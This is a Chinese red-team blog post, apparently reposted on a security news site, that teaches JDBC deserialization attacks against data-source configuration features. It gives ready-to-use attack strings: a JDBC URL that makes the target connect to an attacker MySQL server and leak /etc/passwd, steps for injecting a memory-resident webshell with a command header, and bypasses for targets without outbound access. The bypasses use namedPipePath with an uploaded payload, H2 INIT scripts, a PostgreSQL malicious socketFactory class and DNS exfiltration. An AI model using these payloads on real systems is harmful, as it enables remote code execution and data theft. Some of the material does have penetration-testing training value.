遇到数据源配置功能,怎么打jdbc反序列化?

admin 2026-08-08 06:31:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了在数据源配置功能中利用JDBC反序列化进行攻击的原理与实战方法。核心在于控制JDBCURL参数并设置autoDeserialize=true以触发反序列化。文章提供了FakeServer和web-chains两种工具的使用演示,并重点分析了目标不出网场景下的多种绕过思路,包括同网段部署、文件上传结合namedPipePath本地触发以及切换H2等数据库驱动。最后总结了攻击流程与关键判断条件。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,安全工具,漏洞POC


cover_image

遇到数据源配置功能,怎么打 jdbc 反序列化?

原创

private null private null

轩公子谈技术

2026年8月4日 20:44 江苏

在小说阅读器读本章

去阅读

之前有小伙伴在群里问:遇到配置数据源的功能,JDBC 反序列化怎么打?作为宠粉博主,我不允许我的粉丝不会这个操作,于是我直接搭个靶场演示一遍。

原理不复杂,但实战能不能成,取决于几个关键条件:目标是否出网、JDBC 驱动版本、参数是否可控。下面逐一来看。

启动靶场,这是一个典型的「数据源配置」功能页面

填写数据库信息后点击「测试连接」,抓包。请求体一般是 application/x-www-form-urlencoded 格式。关键点来了:JDBC URL 参数中一定要加上 autoDeserialize=true,否则驱动不会触发反序列化,后面的一切都白搭。

这个参数是 MySQL Connector/J 反序列化攻击的「开关」——驱动在解析连接 URL 时发现该参数为 true,才会对服务端返回的数据做反序列化处理。

攻击的核心思路是:启动一个恶意的 MySQL 服务端,等目标的 JDBC 客户端主动连上来,服务端返回恶意 payload 触发反序列化。

这类工具不少,下面介绍两种。

方案 1 FakeServer

FakeServer 分 GUI 版和 CLI 版,这里用 GUI 版演示,操作直观:绑定本机 IP 和端口,启动服务。

功能上分两档——文件读取和反序列化。先看文件读取:

选择「文件读取」,输入目标路径如 /etc/passwd,生成 payload:

生成后复制 poc

jdbc:mysql://192.168.3.5:3307/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=

把 IP port user 的参数放到对应的位置

然后就成功读取了文件

文件读取只是开胃菜,真正要 RCE 还得看反序列化模式。

切换到「反序列化」,选择目标环境对应的 Gadget 链(比如 CommonsCollections、CommonsBeanutils 等,具体看目标依赖了哪些库),工具会生成对应的反序列化 payload,编码后放到 user 参数中:

 替换 JDBC URL 中的 user 值,填回数据源配置,触发连接即可执行命令。

方案 2:web-chains

web-chains 是一个 Web 化的 综合反序列化利用工具,把 FakeServer 的恶意服务端和 Gadget 生成能力整合到了一个界面里。启动方式:执行 sh 脚本,浏览器打开 Web 面板。

这里演示注入回显马。默认回显请求头为 X-Authorization: cmd,注入后在请求中带上这个头即可执行命令:

要注入内存马,选择对应的内存马类型即可:

注意:测试连接时页面可能显示「连接失败」,但此时内存马实际上已经注入了。原因是 JDBC 连接本身就是「恶意」的——服务端返回了 payload 后不响应正常 MySQL 握手,驱动报连接超时,但反序列化代码已经执行完毕。

 验证内存马是否注入成功,可以用工具一键扫描:

实战踩坑:目标不出网怎么办?

今天在某次授权渗透测试中,遇到了一个真实的数据源配置功能,JDBC URL 参数完全可控,条件看起来很好

但填上 VPS 的恶意 MySQL 地址后,并没有收到连接:

全部返回

{“result”:false,”error”:”com.mysql.cj.jdbc.exceptions.CommunicationsException: Communications link failure\n\nThe last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.”}

报错很明确:端口不通。目标服务器无法出网访问外部 VPS。

为了确认,我分别测试了 VPS IP 和本地 127.0.0.1 的响应时间:

  • 访问 VPS:21 秒(TCP 超时后返回)

  • 访问 127.0.0.1:1 秒(正常响应)

这个响应时间差说明目标只能访问本地或同网段的服务,确认不出网。

不出网场景下的利用思路

 出网是少数,不出网才是常态。以下几种思路可以绕过:

1. 同网段部署恶意服务

如果你在同网段已有立足点,直接在那台机器上起恶意 MySQL 服务端即可。本质和出网打法一样,只是服务端从 VPS 换到了同网段机器。

2. 文件上传 + namedPipePath 本地触发

这是不出网场景下最巧妙的利用方式。思路是:把恶意序列化 payload 写到目标服务器本地,然后让 JDBC 驱动通过 namedPipePath 参数从本地路径读取,触发反序列化。

namedPipePath 是 MySQL Connector/J 提供的一个参数,用来指定通过命名管道(Named Pipe)或 Unix Domain Socket 连接 MySQL,而不是走 TCP。Windows 和 Linux 都支持:

  • Windows:namedPipePath=\.\pipe\xxx,指向本地命名管道

  • Linux:namedPipePath=/tmp/xxx,指向 Unix Domain Socket 文件

利用步骤:

  1. 用 FakeServer 或 web-chains 预先生成反序列化 payload(序列化数据 + MySQL 协议包装)

  2. 通过目标的上传接口(头像、附件、日志等)把这个 payload 文件传到目标服务器

  3. 在数据源配置中,JDBC URL 填入:

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&namedPipePath=/tmp/uploaded_payload.ser

  1. 点击「测试连接」,驱动检测到 namedPipePath 参数后,不再走 TCP 连接,而是直接从本地路径读取数据。服务端协议握手阶段返回的序列化数据被 autoDeserialize=true 触发反序列化 → RCE。

注意:payload 文件不能是裸的序列化对象,需要包装成合法的 MySQL 协议响应格式,FakeServer 等工具通常已经帮你处理好了这一步。

3. 切换其他数据库驱动

  • H2 Database:jdbc:h2:mem:test;INIT=RUNSCRIPT FROM ‘…’,INIT 参数直接执行 SQL,H2 的 CREATE ALIAS 可以注册 Java 函数,不需要出网也不需要反序列化链

  • PostgreSQL:jdbc:postgresql://127.0.0.1:5432/test?socketFactory=com.example.EvilClass&socketFactoryArg=/path/to/uploaded/class,配合文件上传加载本地恶意类

4. DNS 外带验证

TCP 出不去不代表 DNS 出不去。如果目标能解析外部域名,可以:

  • 用 DNSLog 平台验证漏洞是否存在(DNS 回显)

  • 配合 allowLoadLocalInfile 做 DNS 外带读文件

总结

  1. 参数可控 → 确认 JDBC URL 可修改

  2. 判断出网 → 响应时间差区分出网/不出网

  3. 出网 → VPS 起恶意服务,选链打内存马

  4. 不出网 → 同网段部署 / 文件上传 + namedPipePath / 换 H2 等驱动

附录

一键内存马检测工具:

https://github.com/private-xss/memory-shell-detector

burp-upload-fuzz工具更新1.3

优化测试逻辑,避免卡顿,添加自定义参数和后缀等

https://github.com/private-xss/burp-upload-fuzzing


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:轩公子谈技术 private null private null《遇到数据源配置功能,怎么打 jdbc 反序列化?》

    评论:0   参与:  0